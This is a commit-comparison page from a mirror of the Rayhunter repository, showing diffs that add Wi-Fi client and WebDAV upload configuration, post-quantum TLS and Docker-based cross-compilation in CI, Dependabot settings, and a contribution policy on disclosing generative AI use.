mirror of
https://github.com/EFForg/rayhunter.git
synced 2026-05-30 09:59:27 -07:00
Compare commits
75 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d941021853 | ||
|
|
3fcd908d68 | ||
|
|
e7ffebbb30 | ||
|
|
6aa3491a6c | ||
|
|
f079bda4fe | ||
|
|
00e4cb7a75 | ||
|
|
c4eca245b9 | ||
|
|
768d5c877e | ||
|
|
5152544cea | ||
|
|
ba34a58c5d | ||
|
|
51da77fde0 | ||
|
|
c571bdf1de | ||
|
|
54de3b3a38 | ||
|
|
3c1a164361 | ||
|
|
8346f18a5b | ||
|
|
40070b9339 | ||
|
|
38b1dd3de2 | ||
|
|
258fdd9d21 | ||
|
|
100d1de04c | ||
|
|
177262bc1d | ||
|
|
fe69dd1abf | ||
|
|
d56386a7e5 | ||
|
|
520d2e9a9e | ||
|
|
cf9384c841 | ||
|
|
e61802fe1d | ||
|
|
1c8a498d70 | ||
|
|
7daacb3b65 | ||
|
|
4a9e9c507b | ||
|
|
a8aae16fa1 | ||
|
|
5fc6925d35 | ||
|
|
3455adbf95 | ||
|
|
416f03159a | ||
|
|
bf08066c58 | ||
|
|
d5f01847fc | ||
|
|
ca30a146b2 | ||
|
|
a1a29b5ec8 | ||
|
|
dc1d193b8e | ||
|
|
11608427bb | ||
|
|
1bab75830b | ||
|
|
853ad3763c | ||
|
|
059a5028d1 | ||
|
|
c1270cc3e9 | ||
|
|
e935904204 | ||
|
|
87975181c1 | ||
|
|
c2d8d55296 | ||
|
|
188bf812b4 | ||
|
|
ccd96de5cc | ||
|
|
a3072a2632 | ||
|
|
0580a8af33 | ||
|
|
a80a985b40 | ||
|
|
228596ef30 | ||
|
|
a7409b281b | ||
|
|
6a57bdebc4 | ||
|
|
7cb405c465 | ||
|
|
bada3846dc | ||
|
|
f0849340cf | ||
|
|
512cf784a7 | ||
|
|
100960bbe1 | ||
|
|
9d275e1793 | ||
|
|
fd190c4b75 | ||
|
|
ff838c41fa | ||
|
|
a031e8ccfc | ||
|
|
a6f5faa80e | ||
|
|
43f1dfce64 | ||
|
|
54adaf913d | ||
|
|
ab418ecc84 | ||
|
|
2fd028dc78 | ||
|
|
d413840c08 | ||
|
|
2f1b583e00 | ||
|
|
adeeb75166 | ||
|
|
4ca23f37c3 | ||
|
|
15b80ecdd5 | ||
|
|
c5de9b045a | ||
|
|
37283deddb | ||
|
|
49d7bbca34 |
@@ -8,4 +8,8 @@ ignore = [
|
||||
# user-input. we could get rid of this warning by disabling the image
|
||||
# dependency in adb-client.
|
||||
"RUSTSEC-2024-0436",
|
||||
# rustls-webpki 0.102.8 CRL Distribution Point flaw (via rustls-rustcrypto).
|
||||
# Only affects dev builds, production firmware uses ring-tls.
|
||||
# TODO: Remove once rustls-rustcrypto releases a version newer than 0.0.2-alpha.
|
||||
"RUSTSEC-2026-0049",
|
||||
]
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
[alias]
|
||||
# Build the daemon with "firmware" profile and "ring" TLS backend.
|
||||
# Requires a cross-compiler (see github actions workflows) and is very slow to build.
|
||||
build-daemon-firmware = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features ring-tls"
|
||||
# Build the daemon with "firmware" profile and post-quantum TLS backend.
|
||||
# Needs an arm-linux-musleabihf cross-compiler in PATH, e.g. a toolchain
|
||||
# from https://musl.cc, or run inside messense/rust-musl-cross:armv7-musleabihf
|
||||
# (which is what CI does, see .github/workflows/main.yml).
|
||||
build-daemon-firmware = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features pq-tls"
|
||||
# Build the daemon with "firmware-devel" profile and "rustcrypto" backend.
|
||||
# Works with just the Rust toolchain, and is medium-slow to build. Binaries are slightly larger.
|
||||
build-daemon-firmware-devel = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware-devel"
|
||||
|
||||
53
.github/dependabot.yml
vendored
Normal file
53
.github/dependabot.yml
vendored
Normal file
@@ -0,0 +1,53 @@
|
||||
# open-pull-requests-limit is used to disable automated version updates
|
||||
# security updates are unaffected. see
|
||||
# * https://docs.github.com/en/code-security/how-tos/secure-your-supply-chain/secure-your-dependencies/configuring-dependabot-version-updates#disabling-dependabot-version-updates
|
||||
# * https://docs.github.com/en/code-security/reference/supply-chain-security/dependabot-options-reference#open-pull-requests-limit-
|
||||
version: 2
|
||||
updates:
|
||||
# Rust dependencies
|
||||
- package-ecosystem: "cargo"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
open-pull-requests-limit: 0
|
||||
groups:
|
||||
security:
|
||||
applies-to: "security-updates"
|
||||
patterns:
|
||||
- "*"
|
||||
|
||||
# Python dependencies
|
||||
- package-ecosystem: "pip"
|
||||
directory: "/tools"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
open-pull-requests-limit: 0
|
||||
groups:
|
||||
security:
|
||||
applies-to: "security-updates"
|
||||
patterns:
|
||||
- "*"
|
||||
|
||||
# daemon/web Node.js dependencies
|
||||
- package-ecosystem: "npm"
|
||||
directory: "/daemon/web"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
open-pull-requests-limit: 0
|
||||
groups:
|
||||
security:
|
||||
applies-to: "security-updates"
|
||||
patterns:
|
||||
- "*"
|
||||
|
||||
# installer-gui Node.js dependencies
|
||||
- package-ecosystem: "npm"
|
||||
directory: "/installer-gui"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
open-pull-requests-limit: 0
|
||||
groups:
|
||||
security:
|
||||
applies-to: "security-updates"
|
||||
patterns:
|
||||
- "*"
|
||||
5
.github/pull_request_template.md
vendored
5
.github/pull_request_template.md
vendored
@@ -6,3 +6,8 @@
|
||||
- [ ] Code has been linted and run through `cargo fmt`.
|
||||
- [ ] If any new functionality has been added, unit tests were also added.
|
||||
- [ ] [CONTRIBUTING.md](https://github.com/EFForg/rayhunter/blob/main/CONTRIBUTING.md) has been read.
|
||||
- [ ] Your pull request is fewer than ~400 lines of code.
|
||||
|
||||
You must check one of:
|
||||
- [ ] No generative AI (including LLMs) tools were used to create this PR.
|
||||
- [ ] Generative AI was used to create this PR. I certify that I have read and understand the code, and *that all comments and descriptions were authored by myself* and are not the product of generative AI.
|
||||
|
||||
87
.github/workflows/main.yml
vendored
87
.github/workflows/main.yml
vendored
@@ -11,6 +11,9 @@ env:
|
||||
CARGO_TERM_COLOR: always
|
||||
FILE_ROOTSHELL: ../../rootshell/rootshell
|
||||
FILE_RAYHUNTER_DAEMON: ../../rayhunter-daemon/rayhunter-daemon
|
||||
FILE_WPA_SUPPLICANT: ../../wpa-supplicant/wpa_supplicant
|
||||
FILE_WPA_CLI: ../../wpa-supplicant/wpa_cli
|
||||
FILE_IW: ../../wpa-supplicant/iw
|
||||
RUSTFLAGS: "-Dwarnings"
|
||||
|
||||
jobs:
|
||||
@@ -25,6 +28,7 @@ jobs:
|
||||
daemon_needed: ${{ steps.files_changed.outputs.daemon_count != '0' || steps.files_changed.outputs.installer_build != '0' }}
|
||||
web_changed: ${{ steps.files_changed.outputs.web_count != '0' }}
|
||||
docs_changed: ${{ steps.files_changed.outputs.docs_count != '0' || steps.files_changed.outputs.daemon_count != '0' }}
|
||||
installer_build: ${{ steps.files_changed.outputs.installer_build != '0' }}
|
||||
installer_changed: ${{ steps.files_changed.outputs.installer_count != '0' }}
|
||||
installer_gui_changed: ${{ steps.files_changed.outputs.installer_gui_count != '0' }}
|
||||
rootshell_needed: ${{ steps.files_changed.outputs.rootshell_count != '0' || steps.files_changed.outputs.installer_build != '0' }}
|
||||
@@ -38,11 +42,13 @@ jobs:
|
||||
run: |
|
||||
lcommit=${{ github.event.pull_request.base.sha || 'origin/main' }}
|
||||
|
||||
# If we are on main, if workflow/cargo config files changed, or if
|
||||
# the latest commit message contains "#build-all", run everything.
|
||||
# Use #build-all in a commit message to force a full build on a PR
|
||||
# branch (useful for testing release builds without merging to main).
|
||||
if [ ${GITHUB_REF} = 'refs/heads/main' ] || git diff --name-only $lcommit..HEAD | grep -qe ^.github/workflows/ -e ^.cargo || git log -1 --format='%s %b' | grep -qF '#build-all'
|
||||
# We rebuild everything if any of these conditions hold:
|
||||
# * We are on main
|
||||
# * Changes are made to github workflows
|
||||
# * A cargo-workspace file changed (lockfile or .cargo), as that could affect any crate anywhere
|
||||
# * Something from the script or dist folder changed (could be gated to installer, but some scripts like build_wpa_supplicant are part of the build process)
|
||||
# * #build-all was used by the user to explicitly ask for this
|
||||
if [ ${GITHUB_REF} = 'refs/heads/main' ] || git diff --name-only $lcommit..HEAD | grep -qe ^.github/workflows/ -e ^.cargo -e '^Cargo\.lock$' -e '^Cargo\.toml$' -e ^dist/ -e ^scripts/ || git log -1 --format='%s %b' | grep -qF '#build-all'
|
||||
then
|
||||
echo "building everything"
|
||||
echo code_count=forced >> "$GITHUB_OUTPUT"
|
||||
@@ -138,13 +144,13 @@ jobs:
|
||||
npm install
|
||||
npm run build
|
||||
popd
|
||||
NO_FIRMWARE_BIN=true cargo check --verbose
|
||||
cargo check --verbose
|
||||
- name: Run tests
|
||||
run: |
|
||||
NO_FIRMWARE_BIN=true cargo test --verbose
|
||||
cargo test --verbose
|
||||
- name: Run clippy
|
||||
run: |
|
||||
NO_FIRMWARE_BIN=true cargo clippy --verbose
|
||||
cargo clippy --verbose
|
||||
|
||||
installer_gui_check:
|
||||
# we test the GUI installer separately to:
|
||||
@@ -170,9 +176,9 @@ jobs:
|
||||
# fmt --all runs on all workspace packages so this is handled by
|
||||
# check_and_test above
|
||||
- name: Check
|
||||
run: NO_FIRMWARE_BIN=true cargo check --package installer-gui --verbose
|
||||
run: cargo check --package installer-gui --verbose
|
||||
- name: Run clippy
|
||||
run: NO_FIRMWARE_BIN=true cargo clippy --package installer-gui --verbose
|
||||
run: cargo clippy --package installer-gui --verbose
|
||||
|
||||
test_daemon_frontend:
|
||||
needs: files_changed
|
||||
@@ -224,12 +230,12 @@ jobs:
|
||||
shell: bash
|
||||
run: |
|
||||
cd installer
|
||||
NO_FIRMWARE_BIN=true cargo check --verbose
|
||||
cargo check --verbose
|
||||
- name: cargo test
|
||||
shell: bash
|
||||
run: |
|
||||
cd installer
|
||||
NO_FIRMWARE_BIN=true cargo test --verbose --no-default-features
|
||||
cargo test --verbose --no-default-features
|
||||
|
||||
build_rayhunter_check:
|
||||
if: needs.files_changed.outputs.daemon_changed == 'true'
|
||||
@@ -301,6 +307,30 @@ jobs:
|
||||
path: target/armv7-unknown-linux-musleabihf/firmware/rootshell
|
||||
if-no-files-found: error
|
||||
|
||||
build_wpa_supplicant:
|
||||
if: needs.files_changed.outputs.installer_build == 'true'
|
||||
needs:
|
||||
- files_changed
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
persist-credentials: false
|
||||
- name: Install cross-compiler
|
||||
run: sudo apt-get update && sudo apt-get install -y gcc-arm-linux-gnueabihf
|
||||
- name: Build wpa_supplicant (armv7)
|
||||
run: CC=arm-linux-gnueabihf-gcc STRIP=arm-linux-gnueabihf-strip HOST=arm-linux-gnueabihf scripts/build-wpa-supplicant.sh
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: wpa-supplicant
|
||||
path: |
|
||||
tools/build-wpa-supplicant/out/wpa_supplicant
|
||||
tools/build-wpa-supplicant/out/wpa_cli
|
||||
tools/build-wpa-supplicant/out/iw
|
||||
if-no-files-found: error
|
||||
|
||||
build_rayhunter:
|
||||
if: needs.files_changed.outputs.daemon_needed == 'true'
|
||||
needs:
|
||||
@@ -314,27 +344,25 @@ jobs:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
targets: armv7-unknown-linux-musleabihf
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Install ARM cross-compilation toolchain
|
||||
run: sudo apt-get update && sudo apt-get install -y gcc-arm-linux-gnueabihf
|
||||
- name: Build rayhunter-daemon (armv7)
|
||||
- name: Build frontend
|
||||
run: |
|
||||
pushd daemon/web
|
||||
npm install
|
||||
npm run build
|
||||
popd
|
||||
# Run with -p so that cargo will select the minimum feature set for this package.
|
||||
#
|
||||
# Otherwise, it will consider the union of all requested features
|
||||
# from all packages in the workspace. For example, if installer
|
||||
# requires tokio with "full" feature, it will be included no matter
|
||||
# what the feature selection in rayhunter-daemon is.
|
||||
#
|
||||
# https://github.com/rust-lang/cargo/issues/4463
|
||||
CC_armv7_unknown_linux_musleabihf=arm-linux-gnueabihf-gcc cargo build-daemon-firmware
|
||||
- name: Build rayhunter-daemon (armv7)
|
||||
# Cross-compile inside messense/rust-musl-cross, which bundles an
|
||||
# arm-linux-musleabihf cross gcc that aws-lc-sys needs.
|
||||
run: |
|
||||
mkdir -p "$HOME/.cargo-musl-cross"
|
||||
docker run --rm \
|
||||
--user "$(id -u):$(id -g)" \
|
||||
-v "$PWD":/work \
|
||||
-v "$HOME/.cargo-musl-cross":/cargo-home \
|
||||
-e CARGO_HOME=/cargo-home \
|
||||
-w /work \
|
||||
messense/rust-musl-cross:armv7-musleabihf \
|
||||
cargo build-daemon-firmware
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rayhunter-daemon
|
||||
@@ -349,6 +377,7 @@ jobs:
|
||||
needs:
|
||||
- build_rayhunter
|
||||
- build_rootshell
|
||||
- build_wpa_supplicant
|
||||
- files_changed
|
||||
- windows_installer_check_and_test
|
||||
strategy:
|
||||
@@ -599,7 +628,7 @@ jobs:
|
||||
- name: Build rayhunter-daemon openapi docs
|
||||
run: |
|
||||
mkdir -p daemon/web/build
|
||||
touch daemon/web/build/{favicon.png,index.html.gz,rayhunter_orca_only.png,rayhunter_text.png}
|
||||
touch daemon/web/build/{favicon.png,index.html.br,rayhunter_orca_only.png,rayhunter_text.png}
|
||||
cargo run --bin gen_api --features apidocs -- ./rayhunter-openapi.json
|
||||
- name: Make swagger folder
|
||||
run: |
|
||||
|
||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -1,3 +1,4 @@
|
||||
/target
|
||||
/book
|
||||
.DS_Store
|
||||
/tools/build-wpa-supplicant
|
||||
|
||||
@@ -58,15 +58,25 @@ Otherwise:
|
||||
manually test them. Our test coverage isn't great, but as new features are
|
||||
added we are trying to prevent it from becoming worse.
|
||||
|
||||
- Please keep your contributions to less than approximately 400 lines of code not counting tests, (going slightly over is fine, we aren't dogmatic about it.) This is because we are not able to give quality code review to contributions larger than that and risk introducing bugs into the system. [There was a study showing 400 LOC is the max most humans can handle.](https://smartbear.com/learn/code-review/best-practices-for-peer-code-review/)
|
||||
|
||||
If you have any questions [feel free to open a discussion or chat with us on Mattermost.](https://efforg.github.io/rayhunter/support-feedback-community.html)
|
||||
|
||||
### Policy regarding AI-generated contributions:
|
||||
|
||||
- Please refrain from submissions that you haven't thoroughly understood, reviewed, and tested.
|
||||
- Please disclose if your contribution was AI-generated
|
||||
- Descriptions and comments should be made by you
|
||||
|
||||
You can read our [full policy](https://www.eff.org/about/opportunities/volunteer/coding-with-eff) and some writing on [our motivations](https://www.eff.org/deeplinks/2026/02/effs-policy-llm-assisted-contributions-our-open-source-projects).
|
||||
|
||||
## Making releases
|
||||
|
||||
This one is for maintainers of Rayhunter.
|
||||
|
||||
1. Make a PR changing the versions in `Cargo.toml` and other files.
|
||||
This could be automated better but right now it's manual. You can do this easily with sed:
|
||||
`sed -i "" -E 's/x.x.x/y.y.y/g' */Cargo.toml`
|
||||
`sed -i "" -E 's/x.x.x/y.y.y/g' */Cargo.toml installer-gui/src-tauri/Cargo.toml`
|
||||
|
||||
2. Merge PR and make a tag.
|
||||
|
||||
|
||||
921
Cargo.lock
generated
921
Cargo.lock
generated
File diff suppressed because it is too large
Load Diff
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter-check"
|
||||
version = "0.10.2"
|
||||
version = "0.11.0"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter-daemon"
|
||||
version = "0.10.2"
|
||||
version = "0.11.0"
|
||||
edition = "2024"
|
||||
rust-version = "1.88.0"
|
||||
|
||||
@@ -16,11 +16,12 @@ required-features = ["apidocs"]
|
||||
[features]
|
||||
default = ["rustcrypto-tls"]
|
||||
rustcrypto-tls = ["reqwest/rustls-tls-webpki-roots-no-provider", "dep:rustls-rustcrypto"]
|
||||
ring-tls = ["reqwest/rustls-tls-webpki-roots"]
|
||||
apidocs = ["dep:utoipa"]
|
||||
pq-tls = ["reqwest/rustls-tls-webpki-roots-no-provider", "dep:rustls-post-quantum"]
|
||||
apidocs = ["dep:utoipa", "wifi-station/utoipa"]
|
||||
|
||||
[dependencies]
|
||||
rayhunter = { path = "../lib" }
|
||||
wifi-station = "0.10.1"
|
||||
toml = "0.8.8"
|
||||
serde = { version = "1.0.193", features = ["derive"] }
|
||||
tokio = { version = "1.44.2", default-features = false, features = ["fs", "signal", "process", "rt"] }
|
||||
@@ -39,7 +40,9 @@ image = { version = "0.25.1", default-features = false, features = ["png", "gif
|
||||
tempfile = "3.10.2"
|
||||
async_zip = { version = "0.0.17", features = ["tokio"] }
|
||||
anyhow = "1.0.98"
|
||||
reqwest = { version = "0.12.20", default-features = false }
|
||||
reqwest = { version = "0.12.20", default-features = false, features = ["stream"] }
|
||||
rustls-rustcrypto = { version = "0.0.2-alpha", optional = true }
|
||||
rustls-post-quantum = { version = "0.2.4", optional = true }
|
||||
async-trait = "0.1.88"
|
||||
utoipa = { version = "5.4.0", optional = true }
|
||||
url = "2.5.4"
|
||||
|
||||
@@ -32,8 +32,57 @@ pub struct Config {
|
||||
pub enabled_notifications: Vec<NotificationType>,
|
||||
/// Vector containing the list of enabled analyzers
|
||||
pub analyzers: AnalyzerConfig,
|
||||
/// Minimum disk space required to start a recording
|
||||
pub min_space_to_start_recording_mb: u64,
|
||||
/// Minimum disk space required to continue a recording
|
||||
pub min_space_to_continue_recording_mb: u64,
|
||||
/// Wifi client SSID
|
||||
pub wifi_ssid: Option<String>,
|
||||
/// Wifi client password
|
||||
pub wifi_password: Option<String>,
|
||||
/// Wifi security type (wpa_psk or sae)
|
||||
pub wifi_security: Option<wifi_station::SecurityType>,
|
||||
/// Wifi client mode
|
||||
pub wifi_enabled: bool,
|
||||
/// Vector containing wifi client DNS servers
|
||||
pub dns_servers: Option<Vec<String>>,
|
||||
/// WebDAV upload configuration. The upload worker runs whenever `webdav.url` is non-empty.
|
||||
pub webdav: WebdavConfig,
|
||||
}
|
||||
|
||||
/// Configuration for uploading finished QMDL recordings to a WebDAV server.
|
||||
#[derive(Debug, Clone, Deserialize, Serialize)]
|
||||
#[serde(default)]
|
||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
||||
pub struct WebdavConfig {
|
||||
/// WebDAV server base URL, e.g. "https://example.com/remote.php/files/untitaker/my-subfolder/"
|
||||
pub url: String,
|
||||
/// Optional username for HTTP Basic auth
|
||||
pub username: Option<String>,
|
||||
/// Optional password for HTTP Basic auth
|
||||
pub password: Option<String>,
|
||||
/// Timeout (in seconds) for each upload request
|
||||
pub upload_timeout_secs: u64,
|
||||
/// How often (in seconds) the worker scans for entries to upload
|
||||
pub poll_interval_secs: u64,
|
||||
/// Minimum age (in seconds) an entry must have before it becomes eligible for upload
|
||||
pub min_age_secs: i64,
|
||||
/// Delete the file locally after a successful upload
|
||||
pub delete_on_upload: bool,
|
||||
}
|
||||
|
||||
impl Default for WebdavConfig {
|
||||
fn default() -> Self {
|
||||
WebdavConfig {
|
||||
url: String::new(),
|
||||
username: None,
|
||||
password: None,
|
||||
upload_timeout_secs: 300,
|
||||
poll_interval_secs: 3600,
|
||||
min_age_secs: 86400,
|
||||
delete_on_upload: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for Config {
|
||||
@@ -51,20 +100,82 @@ impl Default for Config {
|
||||
enabled_notifications: vec![NotificationType::Warning, NotificationType::LowBattery],
|
||||
min_space_to_start_recording_mb: 1,
|
||||
min_space_to_continue_recording_mb: 1,
|
||||
wifi_ssid: None,
|
||||
wifi_password: None,
|
||||
wifi_security: None,
|
||||
wifi_enabled: false,
|
||||
dns_servers: None,
|
||||
webdav: WebdavConfig::default(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Config {
|
||||
pub fn wifi_config(&self) -> wifi_station::WifiConfig {
|
||||
let (wpa_bin, hostapd_conf, ctrl_interface) = match self.device {
|
||||
Device::Tmobile | Device::Wingtech => (
|
||||
Some("/usr/sbin/wpa_supplicant".into()),
|
||||
Some("/data/configs/hostapd.conf".into()),
|
||||
None,
|
||||
),
|
||||
Device::Uz801 => (
|
||||
Some("/system/bin/wpa_supplicant".into()),
|
||||
Some("/data/misc/wifi/hostapd.conf".into()),
|
||||
Some("/data/misc/wifi/sockets".into()),
|
||||
),
|
||||
_ => (None, None, None),
|
||||
};
|
||||
wifi_station::WifiConfig {
|
||||
wifi_enabled: self.wifi_enabled,
|
||||
dns_servers: self.dns_servers.clone(),
|
||||
wifi_ssid: self.wifi_ssid.clone(),
|
||||
wifi_password: self.wifi_password.clone(),
|
||||
security_type: self.wifi_security,
|
||||
wpa_supplicant_bin: wpa_bin.or_else(|| resolve_bin("wpa_supplicant")),
|
||||
hostapd_conf,
|
||||
ctrl_interface,
|
||||
udhcpc_hook_path: Some("/data/rayhunter/udhcpc-hook.sh".into()),
|
||||
dhcp_lease_path: Some("/data/rayhunter/dhcp_lease".into()),
|
||||
wpa_conf_path: Some("/data/rayhunter/wpa_sta.conf".into()),
|
||||
iw_bin: resolve_bin("iw"),
|
||||
udhcpc_bin: resolve_bin("udhcpc"),
|
||||
crash_log_dir: Some("/data/rayhunter/crash-logs".into()),
|
||||
wakelock_name: Some("rayhunter".into()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn resolve_bin(name: &str) -> Option<String> {
|
||||
let local = format!("/data/rayhunter/bin/{name}");
|
||||
if std::path::Path::new(&local).exists() {
|
||||
return Some(local);
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
pub async fn parse_config<P>(path: P) -> Result<Config, RayhunterError>
|
||||
where
|
||||
P: AsRef<std::path::Path>,
|
||||
{
|
||||
if let Ok(config_file) = tokio::fs::read_to_string(&path).await {
|
||||
Ok(toml::from_str(&config_file).map_err(RayhunterError::ConfigFileParsingError)?)
|
||||
let mut config = if let Ok(config_file) = tokio::fs::read_to_string(&path).await {
|
||||
toml::from_str(&config_file).map_err(RayhunterError::ConfigFileParsingError)?
|
||||
} else {
|
||||
warn!("unable to read config file, using default config");
|
||||
Ok(Config::default())
|
||||
Config::default()
|
||||
};
|
||||
|
||||
if let Some((ssid, security)) =
|
||||
wifi_station::read_network_from_wpa_conf("/data/rayhunter/wpa_sta.conf")
|
||||
{
|
||||
config.wifi_ssid = Some(ssid);
|
||||
config.wifi_security = Some(security);
|
||||
} else {
|
||||
config.wifi_ssid = None;
|
||||
config.wifi_security = None;
|
||||
}
|
||||
config.wifi_password = None;
|
||||
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
pub struct Args {
|
||||
|
||||
23
daemon/src/crypto_provider.rs
Normal file
23
daemon/src/crypto_provider.rs
Normal file
@@ -0,0 +1,23 @@
|
||||
use std::sync::Once;
|
||||
|
||||
static INSTALL: Once = Once::new();
|
||||
|
||||
/// Install the default rustls `CryptoProvider` for the current process.
|
||||
///
|
||||
/// This is idempotent so that it's easier to use in tests, but also panics loudly if the
|
||||
/// initialization fails.
|
||||
pub fn install_default() {
|
||||
// Crypto providers fail if they get initialized multiple times, but we don't want to just
|
||||
// ignore all errors, hence the use of once.
|
||||
INSTALL.call_once(|| {
|
||||
#[cfg(feature = "rustcrypto-tls")]
|
||||
rustls_rustcrypto::provider()
|
||||
.install_default()
|
||||
.expect("failed to install rustcrypto crypto provider");
|
||||
|
||||
#[cfg(feature = "pq-tls")]
|
||||
rustls_post_quantum::provider()
|
||||
.install_default()
|
||||
.expect("failed to install aws-lc-rs post-quantum crypto provider");
|
||||
});
|
||||
}
|
||||
@@ -10,6 +10,7 @@ use axum::http::header::CONTENT_TYPE;
|
||||
use axum::response::{IntoResponse, Response};
|
||||
use futures::{StreamExt, TryStreamExt, future};
|
||||
use log::{debug, error, info, warn};
|
||||
use rayhunter::Device;
|
||||
use tokio::fs::File;
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
use tokio::sync::mpsc::{Receiver, Sender};
|
||||
@@ -289,19 +290,17 @@ impl DiagTask {
|
||||
self.stop(qmdl_store, Some(reason)).await;
|
||||
return;
|
||||
}
|
||||
DiskSpaceCheck::Warning(mb) => {
|
||||
if !self.low_space_warned {
|
||||
self.low_space_warned = true;
|
||||
warn!("Disk space low: {}MB remaining", mb);
|
||||
self.notification_channel
|
||||
.send(Notification::new(
|
||||
NotificationType::Warning,
|
||||
format!("Disk space low: {}MB free", mb),
|
||||
Some(Duration::from_secs(30)),
|
||||
))
|
||||
.await
|
||||
.ok();
|
||||
}
|
||||
DiskSpaceCheck::Warning(mb) if !self.low_space_warned => {
|
||||
self.low_space_warned = true;
|
||||
warn!("Disk space low: {}MB remaining", mb);
|
||||
self.notification_channel
|
||||
.send(Notification::new(
|
||||
NotificationType::Warning,
|
||||
format!("Disk space low: {}MB free", mb),
|
||||
Some(Duration::from_secs(30)),
|
||||
))
|
||||
.await
|
||||
.ok();
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
@@ -372,7 +371,7 @@ impl DiagTask {
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
pub fn run_diag_read_thread(
|
||||
task_tracker: &TaskTracker,
|
||||
mut dev: DiagDevice,
|
||||
device: Device,
|
||||
mut qmdl_file_rx: Receiver<DiagDeviceCtrlMessage>,
|
||||
qmdl_file_tx: Sender<DiagDeviceCtrlMessage>,
|
||||
ui_update_sender: Sender<display::DisplayState>,
|
||||
@@ -384,8 +383,21 @@ pub fn run_diag_read_thread(
|
||||
min_space_to_continue_mb: u64,
|
||||
) {
|
||||
task_tracker.spawn(async move {
|
||||
info!("Using configuration for device: {0:?}", device);
|
||||
let mut dev = DiagDevice::new(&device)
|
||||
.await?;
|
||||
dev.config_logs()
|
||||
.await?;
|
||||
|
||||
let mut diag_stream = pin!(dev.as_stream().into_stream());
|
||||
let mut diag_task = DiagTask::new(ui_update_sender, analysis_sender, analyzer_config, notification_channel, min_space_to_start_mb, min_space_to_continue_mb);
|
||||
let mut diag_task = DiagTask::new(
|
||||
ui_update_sender,
|
||||
analysis_sender,
|
||||
analyzer_config,
|
||||
notification_channel,
|
||||
min_space_to_start_mb,
|
||||
min_space_to_continue_mb
|
||||
);
|
||||
qmdl_file_tx
|
||||
.send(DiagDeviceCtrlMessage::StartRecording { response_tx: None })
|
||||
.await
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
use rayhunter::diag_device::DiagDeviceError;
|
||||
use thiserror::Error;
|
||||
|
||||
use crate::qmdl_store::RecordingStoreError;
|
||||
@@ -7,8 +6,6 @@ use crate::qmdl_store::RecordingStoreError;
|
||||
pub enum RayhunterError {
|
||||
#[error("Config file parsing error: {0}")]
|
||||
ConfigFileParsingError(#[from] toml::de::Error),
|
||||
#[error("Diag intialization error: {0}")]
|
||||
DiagInitError(DiagDeviceError),
|
||||
#[error("Tokio error: {0}")]
|
||||
TokioError(#[from] tokio::io::Error),
|
||||
#[error("QmdlStore error: {0}")]
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
pub mod analysis;
|
||||
pub mod battery;
|
||||
pub mod config;
|
||||
pub mod crypto_provider;
|
||||
pub mod diag;
|
||||
pub mod display;
|
||||
pub mod error;
|
||||
@@ -10,6 +11,7 @@ pub mod pcap;
|
||||
pub mod qmdl_store;
|
||||
pub mod server;
|
||||
pub mod stats;
|
||||
pub mod webdav;
|
||||
|
||||
#[cfg(feature = "apidocs")]
|
||||
use utoipa::OpenApi;
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
mod analysis;
|
||||
mod battery;
|
||||
mod config;
|
||||
mod crypto_provider;
|
||||
mod diag;
|
||||
mod display;
|
||||
mod error;
|
||||
@@ -10,6 +11,7 @@ mod pcap;
|
||||
mod qmdl_store;
|
||||
mod server;
|
||||
mod stats;
|
||||
mod webdav;
|
||||
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::Arc;
|
||||
@@ -22,10 +24,12 @@ use crate::notifications::{NotificationService, run_notification_worker};
|
||||
use crate::pcap::get_pcap;
|
||||
use crate::qmdl_store::RecordingStore;
|
||||
use crate::server::{
|
||||
ServerState, debug_set_display_state, get_config, get_qmdl, get_time, get_zip, serve_static,
|
||||
set_config, set_time_offset, test_notification,
|
||||
ServerState, debug_set_display_state, get_config, get_qmdl, get_time, get_wifi_status, get_zip,
|
||||
scan_wifi, serve_static, set_config, set_time_offset, test_notification,
|
||||
};
|
||||
use crate::stats::{get_qmdl_manifest, get_system_stats};
|
||||
use crate::webdav::run_webdav_upload_worker;
|
||||
use wifi_station::WifiStatus;
|
||||
|
||||
use analysis::{
|
||||
AnalysisCtrlMessage, AnalysisStatus, get_analysis_status, run_analysis_thread, start_analysis,
|
||||
@@ -40,7 +44,6 @@ use diag::{
|
||||
use log::{error, info};
|
||||
use qmdl_store::RecordingStoreError;
|
||||
use rayhunter::Device;
|
||||
use rayhunter::diag_device::DiagDevice;
|
||||
use stats::get_log;
|
||||
use tokio::net::TcpListener;
